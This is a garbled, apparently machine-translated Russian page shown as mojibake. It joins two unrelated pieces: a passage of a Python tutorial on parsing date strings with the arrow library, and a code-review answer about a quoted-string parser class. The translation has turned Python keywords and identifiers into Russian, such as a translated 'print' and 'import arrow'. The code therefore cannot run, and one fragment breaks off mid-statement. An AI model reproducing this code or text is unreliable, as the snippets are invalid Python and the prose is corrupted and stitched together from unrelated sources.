2018-06-29 12: 08: 00.586525 + 00: 00
2018-06-29
12: 08: 00.586525
ΡΠ½ΠΈΠ²Π΅ΡΡΠ°Π»ΡΠ½ΠΎΠ΅ Π³Π»ΠΎΠ±Π°Π»ΡΠ½ΠΎΠ΅ Π²ΡΠ΅ΠΌΡ
Π Π°Π·Π±ΠΎΡ: Π²ΡΠΎΡΠ½ΠΈΠΊ, 6 ΡΠ΅Π½ΡΡΠ±ΡΡ 2017 Π³., 16:30
2017-09-06 16: 30: 00 + 00: 00
2017-09-06
16:30:00
ΡΠ½ΠΈΠ²Π΅ΡΡΠ°Π»ΡΠ½ΠΎΠ΅ Π³Π»ΠΎΠ±Π°Π»ΡΠ½ΠΎΠ΅ Π²ΡΠ΅ΠΌΡ
ΠΠ°ΠΊ Π²ΠΈΠ΄ΠΈΡΠ΅, Π²ΡΠ΅ ΡΠΎΡΠΌΠ°ΡΡ Π΄Π°ΡΡ Π±ΡΠ»ΠΈ ΡΡΠΏΠ΅ΡΠ½ΠΎ ΠΏΡΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡΠΎΠ²Π°Π½Ρ.
ΠΠΎ Π²Ρ Π·Π°ΠΌΠ΅ΡΠΈΠ»ΠΈ ΡΠ°Π·Π½ΠΈΡΡ? ΠΡΠ»ΠΈ ΠΌΡ Π½Π΅ ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Π»ΡΠ΅ΠΌ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΠΎ ΡΠ°ΡΠΎΠ²ΠΎΠΌ ΠΏΠΎΡΡΠ΅, ΠΎΠ½Π° Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΡΠ΅ΡΡΡ Π² UTC.ΠΡΠ°ΠΊ, Π²Π°ΠΆΠ½ΠΎ ΠΎΡΠΌΠ΅ΡΠΈΡΡ, ΡΡΠΎ ΠΌΡ Π΄ΠΎΠ»ΠΆΠ½Ρ ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²ΠΈΡΡ to_timezone
ΠΈ Π½Π°ΠΈΠ²Π½ΡΡ
ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΎΠ²
, Π΅ΡΠ»ΠΈ Π²ΡΠ΅ΠΌΡ Π½Π΅ Π² UTC.
Π‘ΡΡΠ΅Π»ΠΊΠ°
Arrow - Π΅ΡΠ΅ ΠΎΠ΄Π½Π° Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ° Π΄Π»Ρ ΡΠ°Π±ΠΎΡΡ Ρ datetime Π² Python. Π, ΠΊΠ°ΠΊ ΠΈ ΡΠ°Π½ΡΡΠ΅, Ρ maya
, ΠΎΠ½ ΡΠ°ΠΊΠΆΠ΅ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈ ΠΎΠΏΡΠ΅Π΄Π΅Π»ΡΠ΅Ρ ΡΠΎΡΠΌΠ°Ρ Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ. ΠΠΎΡΠ»Π΅ ΠΈΠ½ΡΠ΅ΡΠΏΡΠ΅ΡΠ°ΡΠΈΠΈ ΠΎΠ½ Π²ΠΎΠ·Π²ΡΠ°ΡΠ°Π΅Ρ ΠΎΠ±ΡΠ΅ΠΊΡ Python datetime
ΠΈΠ· ΠΎΠ±ΡΠ΅ΠΊΡΠ° arrow
.
ΠΠ°Π²Π°ΠΉΡΠ΅ ΠΏΠΎΠΏΡΠΎΠ±ΡΠ΅ΠΌ ΡΡΠΎ Ρ ΡΠΎΠΉ ΠΆΠ΅ ΠΏΡΠΈΠΌΠ΅ΡΠ½ΠΎΠΉ ΡΡΡΠΎΠΊΠΎΠΉ, ΠΊΠΎΡΠΎΡΡΡ ΠΌΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π»ΠΈ Π΄Π»Ρ maya
:
ΡΡΡΠ΅Π»ΠΊΠ° ΠΈΠΌΠΏΠΎΡΡΠ°
dt = ΡΡΡΠ΅Π»ΠΊΠ°.ΠΏΠΎΠ»ΡΡΠΈΡΡ ('2018-04-29T17: 45: 25Z')
ΠΏΠ΅ΡΠ°ΡΡ (dt.date ())
ΠΏΠ΅ΡΠ°ΡΡ (dt.time ())
ΠΏΠ΅ΡΠ°ΡΡ (dt.tzinfo)
ΠΡΡ ΠΎΠ΄:
$ python3 arrow-1.py
2018-04-29
17:45:25
tzutc ()
Π Π²ΠΎΡ ΠΊΠ°ΠΊ Π²Ρ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΡΡΡΠ΅Π»ΠΊΡ
Π΄Π»Ρ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ ΡΠ°ΡΠΎΠ²ΡΡ
ΠΏΠΎΡΡΠΎΠ² Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΠΌΠ΅ΡΠΎΠ΄Π° Π²
:
ΡΡΡΠ΅Π»ΠΊΠ° ΠΈΠΌΠΏΠΎΡΡΠ°
dt = arrow.get ('2018-04-29T17: 45: 25Z'). to ('ΠΠΌΠ΅ΡΠΈΠΊΠ° / ΠΡΡ-ΠΠΎΡΠΊ')
ΠΏΠ΅ΡΠ°ΡΡ (dt)
ΠΏΠ΅ΡΠ°ΡΡ (dt.date ())
ΠΏΠ΅ΡΠ°ΡΡ (dt.time ())
ΠΡΡ ΠΎΠ΄:
$ python3 ΡΡΡΠ΅Π»ΠΊΠ°-2.ΡΡ
2018-04-29T13: 45: 25-04: 00
2018-04-29
13:45:25
ΠΠ°ΠΊ Π²ΠΈΠ΄ΠΈΡΠ΅, ΡΡΡΠΎΠΊΠ° Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½Π° Π² ΡΠ΅Π³ΠΈΠΎΠ½ "America / New_York".
Π’Π΅ΠΏΠ΅ΡΡ Π΄Π°Π²Π°ΠΉΡΠ΅ ΡΠ½ΠΎΠ²Π° Π²ΠΎΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌΡΡ ΡΠ΅ΠΌ ΠΆΠ΅ Π½Π°Π±ΠΎΡΠΎΠΌ ΡΡΡΠΎΠΊ, ΠΊΠΎΡΠΎΡΡΠΉ ΠΌΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π»ΠΈ Π²ΡΡΠ΅:
ΡΡΡΠ΅Π»ΠΊΠ° ΠΈΠΌΠΏΠΎΡΡΠ°
date_array = [
'2018-06-29 08:15: 27.243860',
# '28 ΠΈΡΠ½Ρ 2018 Π³. 7:40',
# '28 ΠΈΡΠ½Ρ 2018 Π³., 7:40',
# '18 ΡΠ΅Π½ΡΡΠ±ΡΡ 2017 Π³., 22:19:55',
# 'ΠΡ, 12.05.1999, 12:30',
# 'ΠΠ½, 21 ΠΌΠ°ΡΡΠ°, 2015',
'2018-03-12T10: 12: 45Z',
'2018-06-29 17:08:00.586525 + 00: 00 ',
'2018-06-29 17: 08: 00.586525 + 05: 00',
# 'ΠΡΠΎΡΠ½ΠΈΠΊ, 6 ΡΠ΅Π½ΡΡΠ±ΡΡ 2017 Π³., 16:30'
]
Π΄Π»Ρ Π΄Π°ΡΡ Π² date_array:
dt = arrow.get (Π΄Π°ΡΠ°)
print ('ΠΠ½Π°Π»ΠΈΠ·:' + Π΄Π°ΡΠ°)
ΠΏΠ΅ΡΠ°ΡΡ (dt)
ΠΏΠ΅ΡΠ°ΡΡ (dt.date ())
ΠΏΠ΅ΡΠ°ΡΡ (dt.time ())
ΠΏΠ΅ΡΠ°ΡΡ (dt.tzinfo)
ΠΡΠΎΡ ΠΊΠΎΠ΄ Π·Π°Π²Π΅ΡΡΠΈΡΡΡ ΠΎΡΠΈΠ±ΠΊΠΎΠΉ Π΄Π»Ρ Π·Π°ΠΊΠΎΠΌΠΌΠ΅Π½ΡΠΈΡΠΎΠ²Π°Π½Π½ΡΡ ΡΡΡΠΎΠΊ Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ, ΡΡΠΎ ΡΠΎΡΡΠ°Π²Π»ΡΠ΅Ρ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Ρ Π½Π°ΡΠΈΡ ΠΏΡΠΈΠΌΠ΅ΡΠΎΠ². ΠΠ»Ρ Π΄ΡΡΠ³ΠΈΡ ΡΡΡΠΎΠΊ Π²ΡΠ²ΠΎΠ΄ Π±ΡΠ΄Π΅Ρ:
$ python3 arrow-3.py
Π Π°Π·Π±ΠΎΡ: 2018-06-29 08:15:27.243860
2018-06-29T08: 15: 27.243860 + 00: 00
2018-06-29
08: 15: 27.243860
tzutc ()
Π Π°Π·Π±ΠΎΡ: 2018-03-12T10: 12: 45Z
2018-03-12T10: 12: 45 + 00: 00
2018-03-12
10:12:45
tzutc ()
Π Π°Π·Π±ΠΎΡ: 2018-06-29 17: 08: 00.586525 + 00: 00
2018-06-29T17: 08: 00.586525 + 00: 00
2018-06-29
17: 08: 00.586525
tzoffset (ΠΠ΅Ρ, 0)
Π Π°Π·Π±ΠΎΡ: 2018-06-29 17: 08: 00.586525 + 05: 00
2018-06-29T17: 08: 00.586525 + 05: 00
2018-06-29
17: 08: 00.586525
tzoffset (ΠΠ΅Ρ, 18000)
Π§ΡΠΎΠ±Ρ ΠΏΡΠ°Π²ΠΈΠ»ΡΠ½ΠΎ ΠΏΡΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡΠΎΠ²Π°ΡΡ Π·Π°ΠΊΠΎΠΌΠΌΠ΅Π½ΡΠΈΡΠΎΠ²Π°Π½Π½ΡΠ΅ ΠΌΠ½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ, Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠ΅ΡΠ΅Π΄Π°ΡΡ ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΡΡΡΠΈΠ΅ ΡΠΎΠΊΠ΅Π½Ρ ΡΠΎΡΠΌΠ°ΡΠ°, ΡΡΠΎΠ±Ρ Π΄Π°ΡΡ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ΅ ΠΏΠΎΠ΄ΡΠΊΠ°Π·ΠΊΠΈ ΠΎΡΠ½ΠΎΡΠΈΡΠ΅Π»ΡΠ½ΠΎ ΡΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΈΡ Π°Π½Π°Π»ΠΈΠ·ΠΈΡΠΎΠ²Π°ΡΡ.ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, Β«MMMΒ» Π΄Π»Ρ Π½Π°Π·Π²Π°Π½ΠΈΡ ΠΌΠ΅ΡΡΡΠ΅Π², Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ Β«Jan, Feb, MarΒ» ΠΈ Ρ. Π. ΠΡ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΏΡΠΎΠ²Π΅ΡΠΈΡΡ ΡΡΠΎ ΡΡΠΊΠΎΠ²ΠΎΠ΄ΡΡΠ²ΠΎ Π΄Π»Ρ Π²ΡΠ΅Ρ Π΄ΠΎΡΡΡΠΏΠ½ΡΡ ΡΠΎΠΊΠ΅Π½ΠΎΠ².
ΠΠ°ΠΊΠ»ΡΡΠ΅Π½ΠΈΠ΅
Π ΡΡΠΎΠΉ ΡΡΠ°ΡΡΠ΅ ΠΌΡ ΠΏΠΎΠΊΠ°Π·Π°Π»ΠΈ ΡΠ°Π·Π»ΠΈΡΠ½ΡΠ΅ ΡΠΏΠΎΡΠΎΠ±Ρ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π° ΡΡΡΠΎΠΊΠΈ Π΄Π»Ρ ΠΎΠ±ΡΠ΅ΠΊΡΠ° datetime
Π² Python. ΠΡ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π²ΡΠ±ΡΠ°ΡΡ ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΡΡ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΡ Python datetime
ΠΈΠ»ΠΈ Π»ΡΠ±ΡΡ ΠΈΠ· ΡΡΠΎΡΠΎΠ½Π½ΠΈΡ
Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊ, ΡΠΏΠΎΠΌΡΠ½ΡΡΡΡ
Π² ΡΡΠΎΠΉ ΡΡΠ°ΡΡΠ΅, ΡΡΠ΅Π΄ΠΈ ΠΌΠ½ΠΎΠ³ΠΈΡ
Π΄ΡΡΠ³ΠΈΡ
.
ΠΡΠ½ΠΎΠ²Π½Π°Ρ ΠΏΡΠΎΠ±Π»Π΅ΠΌΠ° Ρ ΠΏΠ°ΠΊΠ΅ΡΠΎΠΌ datetime
ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ Π·Π°ΠΊΠ»ΡΡΠ°Π΅ΡΡΡ Π² ΡΠΎΠΌ, ΡΡΠΎ Π½Π°ΠΌ Π½ΡΠΆΠ½ΠΎ Π²ΡΡΡΠ½ΡΡ ΡΠΊΠ°Π·Π°ΡΡ ΠΊΠΎΠ΄ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π° ΠΏΠΎΡΡΠΈ Π΄Π»Ρ Π²ΡΠ΅Ρ
ΡΡΡΠΎΠΊΠΎΠ²ΡΡ
ΡΠΎΡΠΌΠ°ΡΠΎΠ² Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ.ΠΡΠ°ΠΊ, Π΅ΡΠ»ΠΈ Π²Π°Ρ ΡΡΡΠΎΠΊΠΎΠ²ΡΠΉ ΡΠΎΡΠΌΠ°Ρ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡΡΡ Π² Π±ΡΠ΄ΡΡΠ΅ΠΌ, Π²Π°ΠΌ, Π²Π΅ΡΠΎΡΡΠ½ΠΎ, ΡΠ°ΠΊΠΆΠ΅ ΠΏΡΠΈΠ΄Π΅ΡΡΡ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡΡ ΡΠ²ΠΎΠΉ ΠΊΠΎΠ΄. ΠΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ ΡΡΠΎΡΠΎΠ½Π½ΠΈΠ΅ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠΈ, ΡΠ°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ ΡΠΏΠΎΠΌΡΠ½ΡΡΡΠ΅ Π·Π΄Π΅ΡΡ, ΠΎΠ±ΡΠ°Π±Π°ΡΡΠ²Π°ΡΡ ΡΡΠΎ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈ.
ΠΡΠ΅ ΠΎΠ΄Π½Π° ΠΏΡΠΎΠ±Π»Π΅ΠΌΠ°, Ρ ΠΊΠΎΡΠΎΡΠΎΠΉ ΠΌΡ ΡΡΠ°Π»ΠΊΠΈΠ²Π°Π΅ΠΌΡΡ, ΡΠ²ΡΠ·Π°Π½Π° Ρ ΡΠ°ΡΠΎΠ²ΡΠΌΠΈ ΠΏΠΎΡΡΠ°ΠΌΠΈ. ΠΡΡΡΠΈΠΉ ΡΠΏΠΎΡΠΎΠ± ΡΠΏΡΠ°Π²ΠΈΡΡΡΡ Ρ Π½ΠΈΠΌΠΈ - Π²ΡΠ΅Π³Π΄Π° ΡΠΎΡ ΡΠ°Π½ΡΡΡ Π²ΡΠ΅ΠΌΡ Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½ΡΡ Π² ΡΠΎΡΠΌΠ°ΡΠ΅ UTC, Π° Π·Π°ΡΠ΅ΠΌ ΠΏΡΠΈ Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎΡΡΠΈ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²ΡΠ²Π°ΡΡ Π΅Π³ΠΎ Π² ΠΌΠ΅ΡΡΠ½ΡΠΉ ΡΠ°ΡΠΎΠ²ΠΎΠΉ ΠΏΠΎΡΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ.
ΠΡΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠΈ Π½Π΅ ΡΠΎΠ»ΡΠΊΠΎ Ρ ΠΎΡΠΎΡΠΈ Π΄Π»Ρ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π° ΡΡΡΠΎΠΊ, Π½ΠΎ ΠΈΡ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ Π΄Π»Ρ ΠΌΠ½ΠΎΠΆΠ΅ΡΡΠ²Π° ΡΠ°Π·Π»ΠΈΡΠ½ΡΡ ΡΠΈΠΏΠΎΠ² ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΉ, ΡΠ²ΡΠ·Π°Π½Π½ΡΡ Ρ Π΄Π°ΡΠΎΠΉ ΠΈ Π²ΡΠ΅ΠΌΠ΅Π½Π΅ΠΌ.Π― ΡΠ΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡΡ Π²Π°ΠΌ ΠΏΡΠΎΡΠΌΠΎΡΡΠ΅ΡΡ Π΄ΠΎΠΊΡΠΌΠ΅Π½ΡΡ, ΡΡΠΎΠ±Ρ ΠΏΠΎΠ΄ΡΠΎΠ±Π½ΠΎ ΠΈΠ·ΡΡΠΈΡΡ ΡΡΠ½ΠΊΡΠΈΠΈ.
python - ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡ ΡΡΡΠΎΠΊΠΈ Π² ΠΊΠ°Π²ΡΡΠΊΠ°Ρ
Π ΡΠ΅ΠΌ ΠΏΡΠ΅ΠΈΠΌΡΡΠ΅ΡΡΠ²ΠΎ Π²Π°ΡΠ΅Π³ΠΎ ΠΊΠ»Π°ΡΡΠ° ParserState
?
ΠΠ΄ΠΈΠ½ΡΡΠ²Π΅Π½Π½ΠΎΠ΅ ΡΠ²ΠΎΠΉΡΡΠ²ΠΎ, ΠΊΠΎΡΠΎΡΠΎΠ΅ Ρ Π΄ΡΠΌΠ°Ρ, Ρ
ΠΎΡΠΎΡΠΎ, ΡΡΠΎ Π½ΠΎΡΠΌΠ°Π»ΡΠ½ΠΎ, ΡΡΠΎ ΡΠΈΠΌΠ²ΠΎΠ»
, Π²ΡΠ΅ ΠΎΡΡΠ°Π»ΡΠ½ΡΠ΅ ΠΏΡΠΎΡΡΠΎ ΡΡΠΌΡΡ ΠΈ ΠΌΠΎΠ³ΡΡ ΡΠΉΡΠΈ.
ΠΡ ΡΠ°ΠΊΠΆΠ΅ Ρ
ΠΎΡΠΈΡΠ΅ ΡΠ±ΡΠΎΡΠΈΡΡ word
Π²ΡΡΠΊΠΈΠΉ ΡΠ°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΠ΅ push_word
, ΠΈ ΠΊΠΎΠ³Π΄Π° Π²Ρ Π΄ΠΎΠ±Π°Π²Π»ΡΠ΅ΡΠ΅
ΠΈΠ»ΠΈ push_character
, Π²Ρ ΠΏΡΠΎΡΡΠΎ Ρ
ΠΎΡΠΈΡΠ΅ Π½Π°ΠΆΠ°ΡΡ Π½Π° ΡΠΈΠΌΠ²ΠΎΠ».ΠΡΠ°ΠΊ, Π΅ΡΠ»ΠΈ Ρ Π²Π°Ρ Π±ΡΠ»ΠΎ , ΡΡΠΎΠ±Ρ ΠΎΡΡΠ°Π²ΠΈΡΡ Π΅Π³ΠΎ, Ρ Π±Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π» ΡΠ»Π΅Π΄ΡΡΡΠ΅Π΅:
ΠΊΠ»Π°ΡΡ ParserState (ΠΎΠ±ΡΠ΅ΠΊΡ):
def __init __ (ΡΠ°ΠΌ, ΡΠ΅ΠΊΡΡ):
self.text = ΡΠ΅ΠΊΡΡ
self.index = 0
self.state = State.space
self.quote = ''
self.word = ''
self.words = []
@ΡΠ²ΠΎΠΉΡΡΠ²ΠΎ
def ΠΏΠ΅ΡΡΠΎΠ½Π°ΠΆ (self):
Π²Π΅ΡΠ½ΡΡΡ self._text [self.index]
def push_word (self, allow_empty = False):
Π΅ΡΠ»ΠΈ allow_empty ΠΈΠ»ΠΈ self.word:
self.words.append (ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΠΎΠ΅ ΡΠ»ΠΎΠ²ΠΎ)
ΡΠ΅Π±Ρ.ΡΠ»ΠΎΠ²ΠΎ = ''
def append (ΡΠ°ΠΌ):
self.word + = self.character
ΠΠ΄Π½Π°ΠΊΠΎ ΡΡΠΎ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ ΠΏΡΠ΅ΠΈΠΌΡΡΠ΅ΡΡΠ² ΠΏΠ΅ΡΠ΅Π΄ ΠΎΠ±ΡΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΠ΅ΠΌ Π΅Π³ΠΎ Ρ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΌ Π°Π½Π°Π»ΠΈΠ·ΠΎΠΌ ΠΈ ΡΠΎΡ
ΡΠ°Π½Π΅Π½ΠΈΠ΅ΠΌ Π΅Π΄ΠΈΠ½ΡΡΠ²Π΅Π½Π½ΠΎΠΉ ΡΡΠ½ΠΊΡΠΈΠΈ.
ΠΠ° ΡΠ°ΠΌΠΎΠΌ Π΄Π΅Π»Π΅ ΡΡΠΎ ΠΌΠ΅ΡΠ°Π΅Ρ ΡΠΈΡΠ°Π±Π΅Π»ΡΠ½ΠΎΡΡΠΈ.
Π― Π±Ρ ΠΎΠ±ΡΠ΅Π΄ΠΈΠ½ΠΈΠ» ΠΈΡ
Π²ΠΌΠ΅ΡΡΠ΅, ΡΡΠΎΠ±Ρ ΠΏΠΎΠ»ΡΡΠΈΡΡ:
def parse (ΡΠ΅ΠΊΡΡ):
ΡΠ΅ΠΊΡΡ = ΡΠ΅ΠΊΡΡ
ΠΈΠ½Π΄Π΅ΠΊΡ = 0
state = State.space
ΡΠΈΡΠ°ΡΠ° = ''
ΡΠ»ΠΎΠ²ΠΎ = ''
ΡΠ»ΠΎΠ²Π° = []
ΠΏΠΎΠΊΠ° ΠΈΠ½Π΄Π΅ΠΊΡ
ΠΠ»Ρ ΠΏΠ΅ΡΠ΅ΡΠΈΡΠ»Π΅Π½ΠΈΡ Ρ Π±Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π» ΠΌΠ΅ΡΠΎΠ΄, ΠΊΠΎΡΠΎΡΡΠΉ Π΄Π΅ΠΉΡΡΠ²ΠΈΡΠ΅Π»ΡΠ½ΠΎ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ Π²ΠΎ Π²ΡΠ΅Ρ
Π²Π΅ΡΡΠΈΡΡ
2.7, Π° Π½Π΅ ΡΠΎΡ, ΠΊΠΎΡΠΎΡΡΠΉ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ ΡΠΎΠ»ΡΠΊΠΎ Π² ΠΏΠΎΡΠ»Π΅Π΄Π½Π΅ΠΉ Π²Π΅ΡΡΠΈΠΈ.
Π― ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π» ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΌΠ΅ΡΠΎΠ΄ΠΎΠ² Π² Π²Π΅ΡΡ
Π½Π΅ΠΌ ΠΎΡΠ²Π΅ΡΠ΅, Π½ΠΎ ΡΡΠΎ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΠΌΠ΅ΡΡ Π±ΠΎΠ»ΡΡΠΎΠ³ΠΎ Π·Π½Π°ΡΠ΅Π½ΠΈΡ.ΠΡΠΎΡΡΠΎ ΠΈΠΌΠ΅ΠΉΡΠ΅ Π² Π²ΠΈΠ΄Ρ, ΡΡΠΎ Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΠ΅ Π²Π΅ΡΡ
Π½Π΅Π³ΠΎ ΡΠ΅Π³ΠΈΡΡΡΠ°, ΠΏΠΎΡΠΊΠΎΠ»ΡΠΊΡ ΡΠ²Π»ΡΡΡΡΡ ΠΊΠΎΠ½ΡΡΠ°Π½ΡΠ°ΠΌΠΈ .
Π― Π±Ρ ΡΠ°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π» char Π² string.whitespace
Π²ΠΌΠ΅ΡΡΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΠΎΠ³ΠΎ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ, ΡΠ°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ ΡΠ΄Π°Π»ΡΠ΅Ρ ΡΡΠ½ΠΊΡΠΈΡ ΠΈ ΡΠ²Π»ΡΠ΅ΡΡΡ ΠΏΡΠΎΡΡΡΠΌ Π²
.
ΠΡΠ°ΠΊ, Π΄Π»Ρ Π²ΡΠ΅Π³ΠΎ Π±Π°ΡΠ° Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ ΡΡΠ½ΠΊΡΠΈΡ:
ΠΈΠ· ΡΡΡΠΎΠΊΠΈ ΠΈΠΌΠΏΠΎΡΡΠΈΡΠΎΠ²Π°ΡΡ ΠΏΡΠΎΠ±Π΅Π»Ρ ΠΊΠ°ΠΊ ΠΏΡΠΎΠ±Π΅Π»Ρ
def enum (* ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΡΠ½ΡΠΉ, ** Π½Π°Π·Π²Π°Π½Π½ΡΠΉ):
enums = dict (zip (ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΡΠ½ΡΠΉ, Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ (len (ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΡΠ½ΡΠΉ))), ** ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½ΡΠΉ)
Π²ΠΎΠ·Π²ΡΠ°ΡΠ°Π΅ΠΌΡΠΉ ΡΠΈΠΏ ('Enum', (), enums)
Π‘ΠΎΡΡΠΎΡΠ½ΠΈΠ΅ = ΠΏΠ΅ΡΠ΅ΡΠΈΡΠ»Π΅Π½ΠΈΠ΅ ('ΠΠ ΠΠΠΠ', 'Π‘ΠΠΠΠ', 'Π¦ΠΠ’ΠΠ’Π')
TOKEN_ESCAPE = '\\'
ΠΠ°ΡΠ° ΡΡΠ½ΠΊΡΠΈΡ Π΅ΡΠ΅ ΠΌΠΎΠΆΠ΅Ρ Π±ΡΡΡ ΡΠ»ΡΡΡΠ΅Π½Π°.ΠΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΡ, Π²Π½Π΅ΡΠ΅Π½Π½ΡΠ΅ Π²Π°ΠΌΠΈ ΠΏΠΎ ΡΡΠ°Π²Π½Π΅Π½ΠΈΡ Ρ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΠΎΠΌ:
- ΠΡΠΎΠ²Π΅ΡΡΠ΅Ρ Π½Π°Π»ΠΈΡΠΈΠ΅ ΠΏΡΠΎΠ±Π΅Π»ΠΎΠ² ΠΏΠ΅ΡΠ²ΡΠΌ.
- ΠΡΠ½Π΅ΡΠ΅Π½ΠΎ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΏΠΎΡΠ»Π΅Π΄Π½Π΅Π³ΠΎ ΡΠ»ΠΎΠ²Π° ΠΈΠ· ΡΠΈΠΊΠ»Π°, Π½ΠΎ ΡΠ±ΡΠ°Π½Ρ Π΅Π³ΠΎ ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈ.
ΠΠΎΡΠ»Π΅Π΄Π½Π΅Π΅ Π½Π°ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Ρ Π½Π΅ΠΏΠ»ΠΎΡ
Π°Ρ ΠΈΠ΄Π΅Ρ, Π½ΠΎ Π½ΠΈ ΠΎΠ΄Π½Π° ΠΈΠ· Π½ΠΈΡ
Π½Π΅ ΡΠ»ΠΈΡΠΊΠΎΠΌ Ρ
ΠΎΡΠΎΡΠ°.
